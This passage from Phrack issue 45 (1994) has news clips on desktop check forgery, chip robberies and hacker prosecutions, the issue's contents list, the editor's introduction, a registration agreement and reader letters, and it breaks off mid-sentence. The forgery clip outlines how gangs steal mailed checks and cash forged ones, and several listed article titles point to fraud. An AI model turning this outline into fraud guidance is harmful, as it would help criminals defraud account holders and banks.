‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Don't Try This At Home

~~~~~~~~~~~~~~~~~~~~~~ August, 1993

(Compute) (Page 62)

Welcome to desktop forgery.

Susan Morton, senior forensic document examiner with the US Postal Service in San Francisco, has seen gangs travelling the country packing computers, scanners, and laser printers. Arriving in town, their first move is to rob a mailbox to acquire some checks that were mailed to, say, a local utility company. They will copy the account and routing code off some citizen's check and decide what branch bank that person probably uses. Then they forge a large corporate or government check to that person, using information from other checks they found in the mail. Packing a forged ID, a gang member will then go to a branch across town where presumably nobody knows the citizen and deposit part of that forged check. The check may be for $5000, of which the forger takes $2000 as cash, smiles and leaves.

One check forging gang was chased across Texas for about six months in the late 1980s, recalls Robert Ansley, corporate security manager for Dell Computer in Austin, Texas, then with the Austin police department. Armed with a stolen Macintosh and an ID maker stolen from a highway patrol substation, they passed more than $100,000 in bogus checks in Austin alone.

Sources say other gangs have used laser printers to forge security ID badges to get into office buildings and steal the computers, nodding at the friendly security guard at the front desk while trudging out with their arms full.

"We have been urging corporations to move forward with EDI (Electronic Data Interchange) for more and more of their business transactions and avoid paper, since it will become so vulnerable," says Donn Parker, computer crime expert with SRI International in Menlo Park, California.

In 1991, the Secret Service busted 66 traditional counterfeiting operations, while seizing 52 office machines that had been used for counterfeiting

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Subduing Software Pirates October, 1993

~~~~~~~~~~~~~~~~~~~~~~~~~

by Suzanne Weisband and Seymour Goodman (Technology Review) (Page 30)

[The software manufacturers claim they lose between 9 and 12 billion annually. Thank GOD for the SPA and the BSA. Like they are go to Singapore or Hong Kong with guns and get the REAL culprits. Noooo. Let's raid BBSes and businesses.

Their people at COMDEX told me they really weren't interested in taking my money to help me combat Phrack Piracy. I think we all know where THEIR interests lie.]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Mindvox: Urban Attitude Online November, 1993

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Charles Platt (Wired) (Page 56)

[Another of those cute Mindvox RULES articles. "Fancher looked too neat, clean, and classy to be a hacker, but he enjoyed the cut‑and‑thrust of online jousting as much as anyone." But wait, there's a little name dropping too: Wil Wheaton, Kurt Larson, Billy Idol, THE LEGION OF DOOM!

Don't get me wrong, I love Vox. And I really like the author of this story's last book "The Silicon Man," I just get kinda edgy about stuff in Wired.

Favorite quote: "Unix is arcane," says Bruce, "and it's weird, and most users don't want to deal with it." I know I don't. Not.]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Intel To Protect Chips October 22, 1993

~~~~~~~~~~~~~~~~~~~~~~

(Newswire Sources)

One of the nation's largest manufacturers of computer chips said Friday it will start to put serial numbers on its products in an effort to stem the rising tide of robberies. Intel Corp. said it was taking its actions after a flurry of armed takeover robberies at warehouses in California's Silicon Valley over the last six months.

What the robbers are after is microprocessors ‑‑ the brains that power personal computers. Among their favorite targets has been Intel's 486 microprocessor.

Julius Finkelstein, head of Santa Clara's High Tech Crime Task Force, called chip robberies "the gang crime of the 1990s." "They are just as valuable as cocaine," he said. "But they are easier to get rid of and if you are caught the penalties aren't as severe."

The gangs, Finkelstein said, are Asian, well organized and very knowledgable about computer components. They generally drive up to a warehouse door as if coming for a shipment, but once inside pull out their weapons and force the employees to the floor.

Last month, a takeover robbery at the Wylie Laboratories Electronic Marketing Group in Santa Clara netted thieves an estimated $1 million in chips. Finkelstein said that robbery took only about 15 minutes.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Chip Robberies Continue November 5, 1993

~~~~~~~~~~~~~~~~~~~~~~~

(Newswire Sources)

Authorities said a gang of Vietnamese‑speaking bandits staged a violent takeover robbery of a San Jose computer parts company Thursday, wounding one man and escaping with an undisclosed amount of electronic equipment.

Lt. Rob Davis said the robbery began at 1:01 a.m. when as many as five gunmen forced their way into the Top Line Electronics Co., a computer board manufacturer. The bandits rounded up the employees and beat them in an attempt to find where the computer parts were stored.

One employee was shot in the hip as he tried to escape. Davis said the man was treated at a local hospital and was listed in stable condition.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hacker Revelled In Spotlight, Court Told August 23, 1993

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

(The Age)

A hacker who broke into a computer at NASA in the United States, and contemplated sending it a message not to launch a space shuttle, was delighted with the effect he was having, the County Court was told yesterday.

The prosecutor, Mr Richard Maidment, said that in a three‑way conversation between Nahshon Even‑Chaim, David John Woodcock

and another computer hacker, Woodcock discussed sending a message to a computer at NASA to stop the launch of a space shuttle, after Woodcock talked about the shuttle Challenger, which blew up several years before, and said "I have got to do something about NASA."

Even‑Chaim, 22, formerly of Narong Road, Caulfield, yesterday pleaded guilty to 15 charges relating to unauthorized obtaining, altering, inserting, and erasing of data stored in a computer, and the interfering and obstruction of the lawful use of a computer.

Woodcock, 25, formerly of Ashleigh Avenue, Frankston, pleaded guilty to two counts of being knowingly concerned in the obtaining of unauthorized access by Even‑Chaim to data stored in a computer.

The court was told that a co‑offender, Richard Martin Jones

was earlier sentenced to six months jail, but was released on a $500, six‑month good behavior bond.

The court was told that Even‑Chaim obtained free use of telephone lines for many hours to connect his home computer to other systems in the United States.

Mr. Maidment said that Even‑Chaim, Woodcock, and Jones, who collectively called themselves "The Realm", were arrested in April 1990 by the Australia Federal Police after an investigation that began with information received from the United States Secret Service.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The Last Hacker September 26, 1993

~~~~~~~~~~~~~~~

by Jonathan Littman (LA Times)

[This is the bet article I've seen yet about Kevin Poulsen. Please go find it and read it. It covers Poulsen from beginning to end. All the crazy stunts, the life on the run, the show down with the feds. Everything. Here is a small excerpt.]

KIIS‑Fm called it a "Win a Porsche by Friday": eight Porsches ‑ about $400,000 worth of steel, leather and status ‑ given away, one a week. You could hardly live or work in Los Angeles without being caught up in the frenzy. It seems that the gleaming, candy‑red convertibles were plastered on nearly every billboard and bus in town. Listeners were glued to KIIS, hoping to make the 102nd call after Dees spun the third song in the magical series.

Housewives, businessmen, students and contest freaks jammed the lines with their car phones and auto‑dialers. They all had hopes, but one 24‑year‑old high school dropout had a plan. America's most wanted hacker and his associates sat by their computers and waited. On the morning of June 1, 1990 KIIS played 'Escapade,' 'Love Shack; and then, yes, "Kiss." "We blew out the phone lines," every line was ringing says Karen Tobin, the stations promotional director. "We picked up the calls and counted."

The hacker was counting too. At the precise moment Price's "Kiss" hit the air he seized control of the station's 25 phone liens, blocking out all calls but his own. Then the man, who identified himself as Michael B. Peters, calmly dialed the 102nd call and won a Porsche 944 S2.

It was child's play. Especially for Kevin Lee Poulsen. Computer hacking had once seemed an innocent obsession to Poulsen, a native of Pasadena, but now it was his life, and it had taken him over the line. This October, Poulsen will face the first of two trials, one in San Jose and another in Los Angeles, that federal prosecutors say are critical to the government. Because of the seriousness of his alleged breaches of national security, they intend to use the case as an example to the hacker underground.

As a teen‑ager, Poulsen had burrowed deep into the giant switching networks of Pacific Bell, exploring and exploiting nearly every element of its powerful computers, from the common systems responsible for creating, changing and maintaining phone service to the shadow systems that guard the secrets of national security, according to accusations in a federal indictment. The U.S. attorney in San Jose says that Poulsen had wiretapped the intimate phone calls of a Hollywood starlet, allegedly conspired to steal classified military orders, and reportedly uncovered unpublished telephone numbers for the Soviet Consulate in San Francisco.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

45

- Introduction by Erik Bloodaxe

- Phrack Loopback Part I by Phrack Staff

- Phrack Loopback Part II / Editorial by Phrack Staff

- Line Noise Part I by Phrack Staff

- Line Noise Part II by Phrack Staff

- Line Noise Part III by Phrack Staff

- Phrack Prophile on Control C by Control C

- Running a BBS on X.25 by Seven Up

- No Time for Goodbyes by Emmanuel Goldstein

- Security Guidelines by unknown

- Ho Ho Con Miscellany by various

- Quentin Strikes Again by White Knight & The Omega

- 10th Chaos Computer Congress by Manny E. Farber

- Defcon II information by Phrack Staff

- VMS Information by various

- DCL BBS PROGRAM by Raoul

- Hollywood-Style Bits & Bytes by Richard Goodwin

- Fraudulent Applications of 900 Services by Codec

- Screwing Over Your Local McDonald's by Charlie X

- The Senator Markey Hearing Transcripts by unknown

- The Universal Data Converter by Maldoror

- BOX.EXE - Box Program for Sound Blaster by The Fixer

- Introduction To Octel's ASPEN by Optik Nerve

- Radio Free Berkeley Information by unknown

- The MCX7700 PABX System by Dr. Delam

- Cellular Debug Mode Commands by various

- International Scenes by various

- Phrack World News by Datastream Cowboy

Introduction

==Phrack Magazine==

Volume Five, Issue Forty‑Five, File 1 of 28

Issue 45 Index

__________

P H R A C K 4 5

March 30, 1994

__________

~ Dedicated to CRS‑‑(1969‑1994) ~

Well kiddies, it's Easter time again. Easter has got to be one of my favorite holidays of the bunch. No, no, no...not for any of that spiritual rebirth or religious hooey. Easter brings with it two of the most joyous items in the world: Reese's Peanut Butter Eggs and Marshmallow Peeps.

In the past two weeks I have eaten my body weight many times over in peanut butter eggs. I don't know what it is about those damn things, but I just can't stop eating them. And the Peeps? Oh man, if you haven't put a Marshmallow Peep in the microwave, you just haven't lived. The cute little yellow duckie takes on whole new dimensions as it becomes superheated in the nuclear nightmare of a conventional microwave oven. It becomes like a scene from Akira as the Peep grows at an alarming rate, almost filling up the entire oven with its grossly mutated form. You can almost hear it squealing with agony. Go do it right now, and then finish reading this issue.

The net has been more fun the past few months than a barrel full of monkeys, (or a hottub full of co‑eds, pick your own comparison). In the time since last issue I have been the subject of a lot of attention. I've been pseudo‑framed for hacking a handful of sites with fake syslog messages, I've been spoofed as the source of a pre‑release CERT advisory, I've been mentioned in numerous altered motd files on many systems, and even better, spoofed messages from "erikb@mindvox.phantom.com" were posted to a homosexual listserv announcing my supposed "exit from the closet."

Well, unfortunately for everyone, including the hundreds of hopeful gay respondents to the forged post, I only like women. But it sure is nice to know that even men are into me. What an ego boost. Seriously though, one has to wonder how the forgers knew that something called queernet.org even existed. I think I get around on the net, but I'd never heard of it. Have you? Perhaps the Posse are 'closer' than we thought.

And the abuse continues. God knows why. The common thread seems to be: "Erikb is a nark." Let's look at that logic, shall we? If Erikb is a nark, then he would be on some terms with law enforcement. If he were on some terms with law enforcement, then he would have no qualms about handing over names of people doing bad things. If had no qualms about handing over names of people doing bad things, then law enforcement would open cases based on that information. If law enforcement opened cases based on that information, then people would get raided. If people would get raided, then people would almost certainly go to jail.

Why on earth would someone want to evoke a chain of events that would land them in jail? Or do they not believe their own statements about me being a nark? Or are they convinced that they are so good that they cannot get caught? Or are they just pathetically stupid?

Personally I choose the latter. These guys are not good. And they are very dumb. They make more mistakes than I've seen in a long time. And they've pissed off very powerful people. (No, I'm not including myself in that list of 'Powerful People.') It's good that much of MOD is getting out of jail soon. Now those guys were legitimately GOOD HACKERS. They were definitely assholes, but damn good computer hackers. It will be nice to have some harassment from dickheads with skills once again.

But I digress.

Phrack's gotten a bit of notice as of late. In Mondo‑2000, in their "Pirate Media" article, and in Richard Kadrey's "Covert Culture" sourcebook. Of course both of these got the subscription information wrong, but hell, I've learned to expect as much. Also, the mention of Phreak Accident's fantastic "Playing Hide & Seek ‑‑ Unix Style" article in Dan Farmer and Weitse Venema's "Improving The Security of Your Site by Breaking Into It" article brought in hundreds of new subscribers. Let's see how many of these security people register. (How many fingers am I holding up?)

Speaking of such, Phrack has a couple of other registrations now. One is a teacher who wanted to use Phrack in her class. Kudos to her! The other was a cool guy who just wanted to register because he felt like it. Why can't the rest of you be more like him?

Anyway, the money is going to sponsor a new contest. (Considering how well the last one went...not!) This time, we are serious, so read in LINE NOISE for more info.

What else? Phrack has now made the big time in the Federal Penal system. We're the proud recipients of the Bureau of Prisons form 328(58). Our material was considered to be a breach of security of the institution. This, of course, pissed me off. But hell, on the same form, they denote how "Body Hair, Plant Shavings, and Sexually Explicit Personal Photos" are also inappropriate. Phrack or Body Hair. You make the call.

Phrack 45...let's see...

If this issue doesn't cause neck hairs to bristle on everyone within spying distance of the beltway, I will be very disappointed. It's amazing what you find in your mailbox.

We've got a lot of nifty things in this issue. More source code for you to play with, uuencoded goodness, cellular info, telco / pbx info, Ho Ho Con coverage, ancient hack memorabilia, and a plethora of spurious scatological material. (translated: lots of other crap)

Enjoy.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

READ THE FOLLOWING

IMPORTANT REGISTRATION INFORMATION

Corporate/Institutional/Government: If you are a business, institution or government agency, or otherwise employed by, contracted to or providing any consultation relating to computers, telecommunications or security of any kind to such an entity, this information pertains to you.

You are instructed to read this agreement and comply with its terms and immediately destroy any copies of this publication existing in your possession (electronic or otherwise) until

such a time as you have fulfilled your registration requirements. A form to request registration agreements is provided

at the end of this file. Cost is $100.00 US per user for subscription registration. Cost of multi‑user licenses will be negotiated on a site‑by‑site basis.

Individual User: If you are an individual end user whose use

is not on behalf of a business, organization or government agency, you may read and possess copies of Phrack Magazine

free of charge. You may also distribute this magazine freely

to any other such hobbyist or computer service provided for similar hobbyists. If you are unsure of your qualifications

as an individual user, please contact us as we do not wish to withhold Phrack from anyone whose occupations are not in conflict with our readership.

________________________________________

Phrack Magazine corporate/institutional/government agreement

Notice to users ("Company"): READ THE FOLLOWING LEGAL AGREEMENT. Company's use and/or possession of this Magazine is conditioned upon compliance by company with the terms of this agreement. Any continued use or possession of this Magazine is conditioned upon payment by company of the negotiated fee specified in a letter of confirmation from Phrack Magazine.

This magazine may not be distributed by Company to any outside corporation, organization or government agency. This agreement authorizes Company to use and possess the number of copies described in the confirmation letter from Phrack Magazine and for which Company has paid Phrack Magazine the negotiated agreement fee. If the confirmation letter from Phrack Magazine indicates that Company's agreement is "Corporate‑Wide", this agreement will be deemed to cover copies duplicated and distributed by Company for use by any additional employees of Company during the Term, at no additional charge. This agreement will remain in effect for one year from the date of the confirmation letter from Phrack Magazine authorizing such continued use or such other period as is stated in the confirmation letter (the "Term"). If Company does not obtain a confirmation letter and pay the applicable agreement fee, Company is in violation of applicable US Copyright laws.

This Magazine is protected by United States copyright laws and international treaty provisions. Company acknowledges that no title to the intellectual property in the Magazine is transferred to Company. Company further acknowledges that full ownership rights to the Magazine will remain the exclusive property of Phrack Magazine and Company will not acquire any rights to the Magazine except as expressly set forth in this agreement. Company agrees that any copies of the Magazine made by Company will contain the same proprietary notices which appear in this document.

In the event of invalidity of any provision of this agreement, the parties agree that such invalidity shall not affect the validity of the remaining portions of this agreement.

In no event shall Phrack Magazine be liable for consequential, incidental or indirect damages of any kind arising out of the delivery, performance or use of the information contained within the copy of this magazine, even if Phrack Magazine has been advised of the possibility of such damages. In no event will Phrack Magazine's liability for any claim, whether in contract, tort, or any other theory of liability, exceed the agreement fee paid by Company.

This Agreement will be governed by the laws of the State of Texas as they are applied to agreements to be entered into and to be performed entirely within Texas. The United Nations Convention on Contracts for the International Sale of Goods is specifically disclaimed.

This Agreement together with any Phrack Magazine confirmation letter constitute the entire agreement between Company and Phrack Magazine which supersedes any prior agreement, including any prior agreement from Phrack Magazine, or understanding, whether written or oral, relating to the subject matter of this Agreement. The terms and conditions of this Agreement shall apply to all orders submitted to Phrack Magazine and shall supersede any different or additional terms on purchase orders from Company.

________________________________________

REGISTRATION INFORMATION REQUEST FORM

We have approximately __________ users.

Enclosed is $________

We desire Phrack Magazine distributed by (Choose one):

Electronic Mail: _________

Hard Copy: _________

Diskette: _________ (Include size & computer format)

Name:_______________________________ Dept:____________________

Company:_______________________________________

Address:_______________________________________

________________________________________

City/State/Province:_______________________________________

Country/Postal Code:_______________________________________

Telephone:____________________ Fax:__________________________

Send to:

Phrack Magazine

603 W. 13th #1A‑278

Austin, TX 78701

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Enjoy the magazine. It is for and by the hacking community. Period.

Editor‑In‑Chief : Erik Bloodaxe (aka Chris Goggans) 3L33t : CERT (not)

News : Datastream Cowboy

Do Not Taunt : Happy Fun Ball

Photography : dFx

Dolomite : Rudy Ray Moore

Prison Consultant : Co / Dec

A Hacker's Dream : The L0PHT

Thanks To : H.B. Reese Candy Co., Control C, Seven Up, Emmanuel Goldstein, The U.S. Government, The Omega, White Knight, Quentin, Manny Farber, Raoul, Video Games Magazine, Co/Dec, Darth Vader, Charlie X, The Fixer, Optik Nerve, Dr. Delam, Data King, Opticon the Disassembled

"You're not too smart. I like that in a hacker."

(With apologies to Kathleen Turner)

Phrack Magazine V. 5, #45, March 30, 1994. ISSN 1068‑1035 Contents Copyright (C) 1994 Phrack Magazine, all rights reserved. Nothing may be reproduced in whole or in part without written permission of the Editor‑In‑Chief. Phrack Magazine is made available quarterly to the amateur computer hobbyist free of charge. Any corporate, government, legal, or otherwise commercial usage or possession (electronic or otherwise) is strictly prohibited without prior registration, and is in violation of applicable US Copyright laws. To subscribe, send email to phrack@well.sf.ca.us and ask to be added to the list.

Phrack Magazine

603 W. 13th #1A‑278 (Phrack Mailing Address) Austin, TX 78701

ftp.netsys.com (Phrack FTP Site) /pub/phrack

phrack@well.sf.ca.us (Phrack E‑mail Address) or phrackmag@aol.com

Submissions to the above email address may be encrypted

with the following key : (Not that we use PGP or encourage its use or anything. Heavens no. That would be politically‑incorrect. Maybe someone else is decrypting our mail for us on another machine that isn't used for Phrack publication. Yeah, that's it. :) )

‑‑‑‑‑BEGIN PGP PUBLIC KEY BLOCK‑‑‑‑‑

Version: 2.3a

mQCNAiuIr00AAAEEAMPGAJ+tzwSTQBjIz/IXs155El9QW8EPyIcd7NjQ98CRgJNy ltY43xMKv7HveHKqJC9KqpUYWwvEBLqlZ30H3gjbChXn+suU18K6V1xRvxgy21qi a4/qpCMxM9acukKOWYMWA0zg+xf3WShwauFWF7btqk7GojnlY1bCD+Ag5Uf1AAUR tCZQaHJhY2sgTWFnYXppbmUgPHBocmFja0B3ZWxsLnNmLmNhLnVzPg==

=q2KB

‑‑‑‑‑END PGP PUBLIC KEY BLOCK‑‑‑‑‑

‑= Phrack 45 =‑

Table Of Contents

~~~~~~~~~~~~~~~~~

1. Introduction by The Editor 17 K

2. Phrack Loopback Part I 31 K

3. Phrack Loopback Part II / Editorial 40 K

4. Line Noise Part I 49 K

5. Line Noise Part II 50 K

6. Line Noise Part III 59 K

7. Phrack Prophile on Control C 22 K 8. Running a BBS on X.25 by Seven Up 15 K 9. No Time for Goodbyes by Emmanuel Goldstein 21 K

10. Security Guidelines 55 K

11. Ho Ho Con Miscellany by Various Sources 32 K 12. Quentin Strikes Again by The Omega and White Knight 28 K 13. 10th Chaos Computer Congress by Manny E. Farber 23 K

14. Defcon II information 26 K

15. VMS Information by Various Sources 34 K

16. DCL BBS PROGRAM by Raoul 23 K

17. Hollywood‑Style Bits & Bytes by Richard Goodwin 50 K 18. Fraudulent Applications of 900 Services by Co/Dec 15 K 19. Screwing Over Your Local McDonald's by Charlie X 20 K 20. The Senator Markey Hearing Transcripts 72 K 21. The Universal Data Converter by Maldoror 45 K 22. BOX.EXE ‑ Box Program for Sound Blaster by The Fixer 13 K 23. Introduction To Octel's ASPEN by Optik Nerve 12 K 24. Radio Free Berkeley Information 35 K 25. The MCX7700 PABX System by Dr. Delam 22 K 26. Cellular Debug Mode Commands by Various Sources 13 K 27. International Scenes by Various Sources 63 K 28. Phrack World News by Datastream Cowboy 17 K

Total: 902 K

________________________________________

"You can't hold a man down without staying down with him." (Booker T. Washington)

"I am not one of those weak‑spirited, sappy Americans who want to be liked by all the people around them. I don't care if people hate my guts; I assume most of them do. The important question is: 'What are they in a position to do about it?'"

Phrack Loopback Part I

==Phrack Magazine==

Volume Five, Issue Forty‑Five, File 2 of 28

****************************************

Phrack Loopback Part I

Letter from Louis Cypher (Byron York)

As many people know, I was convicted over the summer for a number of Federal crimes including counterfeiting, burglary of a post office, theft of US mail, and possession of stolen property. For a little background, I was arrested for these crimes in September of 1992. I stayed out on 50,000 dollar bond until the trial which started the day after Summercon 93'. The trial lasted for about a week and a half, and the jury found me guilty on 4 charges and acquitted me on 2.

My sentencing was not until the 8th of November, and the results were not as I had hoped for being a first time offender and all. I received a 21 month sentence that will be carried out if I do not complete 6 months in a Federal boot camp in Pennsylvania. If I do complete the program at the boot camp I will then spend 6 months in a Federal halfway house in Houston. This will be followed by several months of home confinement, then 3 years parole. I am to attend college while on parole, but if I do not do well, then I have to do 300 hours of community service.

I will start serving my sentence as early as December, or as late January. Won't know until I receive the letter in the mail from the Bureau of Prisons. I am still out on bond and am on voluntary surrender so I just deliver myself to wherever they send me. A lot better than rotting in county jail until they transfer me.

I will hopefully be out still for HoHocon, and will be able to say good‑bye to most people in person. But in case I am not, then I would like to use this forum to tell everyone good‑bye. I know that I am not going away forever, but I don't know when I am going to be able to access a modem again and get back in touch with everybody.

I have been running a public access Internet site in Houston for the past year or so, and luckily, thanks to Drunkfux, Absalom, and Lord Macduff, the system will most probably

stay up in my absence. People will be able to mail me there, and I will be able to respond through the help of people over the phone.

I would like to thank Erik Bloodaxe for letting me use Phrack to tell everybody farewell. I hope nothing's changed when I get back, and I will be back. I'll just have to keep my nose a little cleaner when I come back from my sabbatical.

It's been great, and I'll see all of you hopefully in about

a year or so.

[Byron did get to go to HoHoCon, but shortly thereafter had to fly to Pennsylvania to enter Boot Camp.

Byron's Address in prison is:

J.C.C.

Byron York 60177‑079

P.O. Box 1000

Lewisburg, PA 17837‑1000

Drop him a note. It really makes the day go by a little easier in a world of bloody shank wars with the Texas Syndicate. Jail sucks.]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[Ad for Jolly Roger T‑Shirt]

>[God bless the free enterprise system!

> God bless capitalism!

> God bless America!]

Well, I'm an atheist and natural law objectivist, so I'll cheer right along with you on the capitalism part! Capitalism is the only MORALLY PROPER system because it's the only system (or lack thereof) that doesn't treat people as slaves!

[editorial]

>This is going to piss people off, but hell, that's the point of having >an editorial, eh?

I, for one, fucking loved it.

>Granted, Holland has a notoriously permissive and open society; and >indeed, Europe in general is far more laid back than the States, but >even many in the US hold these ideals close to heart.

Europe also has a great police state tradition, not to mention the common and prevailing attitude that while sex and drugs and rock and roll are okay, making money (creating wealth) is a far more heinous crime.

>...The major cons in America (HoHo, Scon) really don't charge. >They "ask" for donations. Sure, you might get a nasty look if >you don't cough up five or ten bucks, but hell, everyone does. They >WANT to. A good time is worth a handful of change. And there isn't >some awesome requirement just to get in the damn door. Besides, losses >can always be made up by selling a plethora of crap such as t‑shirts and >videos, which everyone always wants to buy. (Hardware costs. :) )

VOLUNTARY donations! (The Supreme Court says "our system of taxation is based on VOLUNTARY COMPLIANCE"...) There's a vast and monstrous difference between voluntary and involuntary ‑ it's that nasty "free will thing"!

>Then there was Phrack. Always free to the community. Always available >for everyone's enjoyment. Asking only that Corporate types pay a >registration fee of a hundred dollars just to keep them honest. (They >aren't.) Knowing full well that they are stealing it, sometimes quite >brazenly. Resting quietly, knowing that they are just as unethical as >they ever claimed us to be.

I also love your registration requirements. Being able to claim ownership of property, intellectual or otherwise, means you dictate the terms and conditions of its use. Corporate lawyers must have had coronaries upon first sight. Only difficulty is, your ISSN number and copyright data are prima facie evidence that you contracted away rights in exchange for privilege from the state, revocable whenever the state feels like it (copyright falls under admiralty jurisdiction, not common law). You've formed an "organization" ‑ your registration form recognizes the fact that "corporations, organizations and other artificial persons" have a lesser STATUS before the law than NATURAL INDIVIDUALS ‑ just be who you are!

>Let me tell you something. Information does not want to be free, my >friends. Free neither from its restraints nor in terms of dollar value. >Information is a commodity like anything else. More valuable than the >rarest element, it BEGS to be hoarded and priced. Anyone who gives >something away for nothing is a moron. (I am indeed stupid.) I can't >fault anyone for charging as long as they don't try to rationalize their >reasoning behind a facade of excuses, all the while shouting "Information >Wants to be Free!"

AMEN, from the highest fucking rooftops! You're not stupid, you're doing it by CHOICE. You're VOLUNTARILY doing it. Free people don't NEED laws that force decisions upon them ‑ they do what needs to be done!

>Trade secrets don't want to be free, marketing projections don't want to >be free, formulas don't want to be free, troop placements don't want to >be free, CAD designs do not want to be free, corporate financial >information doesn't want to be free, my credit report sure as hell >doesn't want to be free!

YES! YES! I HAVE WAITED FOR YEARS FOR THIS MOMENT!

[tale of the Little Red Hen]

Amen again!

This whole issue, in fact, had many great things, which I'll continue to reply to here...

[ ... 10K of commentary removed ... ]

Finally...remember how crazy people got in the years just before the turn of the first millennium (990‑1000 A.D.)? It's gonna be even MORE interesting this time around!

Here's to Phrack... may you last into the 21st century! (May we ALL be so lucky...)

[Man, that was one of the coolest letters we've ever gotten (and definitely the longest. I have to tell you, it does my heart good to know that we are indeed appreciated by some of you. We will continue to do so until as long as humanly (or inhumanly, with my schedule) possible.]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

A document I found in trash......

What's Next 1993 Revenue 1993 Operating

in billions Cash Flow in billions

AMERITECH $11.71 $4.72

Pursue in‑region strategy. Push regulators for entry into long distance business.

BELL ATLANTIC $12.99 $5.34

Proceed with interactive networks linking 1.2 million homes by year‑end 1995. Seek local cable partners.

BELLSOUTH $15.88 $6.64

Decide whether to invest $500 million of QVC, despite loss in Paramount fight.

NYNEX $13.4 $5.06

Proceed with $1.2 billion investment in Viacom. Build new networks in Northeast, but only if it wins new regulatory freedom.

PACTEL $10 $4.08

Pursue in‑region strategy for new personal communication services.

SOUTHWESTERN BELL $10.69 $4.08

Pursue cable relationship with Cox Enterprises Inc.; complete $552 million acquisition of upstate New York cellular franchises.

USWEST $10.29 $4.45

Offer new phone services in New York cable systems; may pursue Cablevision Systems Corp. with partner Time Warner.

Total $84.98 $34.53

Gee whiz now I really sympathize with the phone company about their petty loss on fraud.

[Fuck. And you mean to tell me THEY can't afford a measly 100 bucks registration fee? Maybe them thought it was 100 Million bucks. But even then it's well within their grasp. Hmm...maybe the fee should go up.]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I would like to pay respects to a fellow user on my system who was killed in the recent helicopter crash near San Jose, CA. "Rotor" was a user‑friendly d00d who would always talk your ear off about helicopter technician work. It is a great loss to our local community.

Call the CybernaughtG@twAy. el33t x10^8 (408) 911‑3974 Login <guest>

‑‑‑‑‑‑‑‑‑‑‑‑‑‑===============

[I want to say I'm very sorry about your friend. I know exactly how you must feel.]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

For immediate rebroadcast::::::::::::::::::::::

****************************************

The SenseReal Foundation

The SenseReal Foundation is a non‑profit, non‑organization dedicated to the preservation and free distribution of information and the promotion of the Amiga computer. In this ever increasing police state we live in the Amiga computer is a beacon of hope. If you buy into Big Blue you are buying into Big Brother. The information revolution is happening now. More and more our liberty will depend on the acquisition, processing, dissemination, and control of knowledge. We are heading into an era when there's going to be enormous pressure to prevent further development of certain kinds of knowledge. This situation has created the need for the......

SenseReal Archives

Send all kinds of information to the SenseReal archives for preservation and rebroadcast. Send newsletters, magazines, books, 'zines, tapes, CDs, or anything at all to the address below. Not only will your contribution be deeply appreciated, it will be preserved and made available to present and future generations. As more powerful, small, cheap technologies are available to the masses it may increase conflict between the current power structure and those now considered to be in the underground. Civilization as we know it is racing towards the brink, and hopefully we will survive through this current cycle, but we do not know what will face us then. Sending The SenseReal Foundation your material is a good way of expanding the knowledge of many people. When appropriate, information will be made available on the SenseReal BBS.....

The Haunted Mansion BBS (404)516‑4732 Fri‑Sun 6pm‑6am

Call this number anytime. Primary hours are Fri‑Sun 6PM‑6AM but you never know when the board may be up. If it is not online when you call, call back in 3‑5 minutes and perhaps it will be. It is primarily an Amiga board but also features message areas and a text file area that will be of interest to all. Send postcards, bizarre items, money, and anything else to:

Call THE HAUNTED MANSION BBS

THE SENSEREAL FOUNDATION (404)516‑4732 Fri‑Sun 6PM‑6AM 6595‑G ROSWELL RD. Suite #206 Or contact via the Internet: ATLANTA,GA 30328 Green_Ghost@neonate.atl.ga.us

All information and anything sent will be kept secret forever upon request.

‑‑ Via DLG Pro v1.0

[Uh, gee, little did I realize that when I bought my Amiga 500, I was joining such a sacred brotherhood. I wonder what my employers would think.]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

So, there I am in New York City last night. We're hanging out (figuratively speaking) at The Vault, where various fetishists get together to explore the limits of aberrant human sexuality. All in all, a rather interesting place. The $30 cover was a little steep, but I would still highly recommend it. Now for my point.

I was standing around watching two dominatrix abuse some

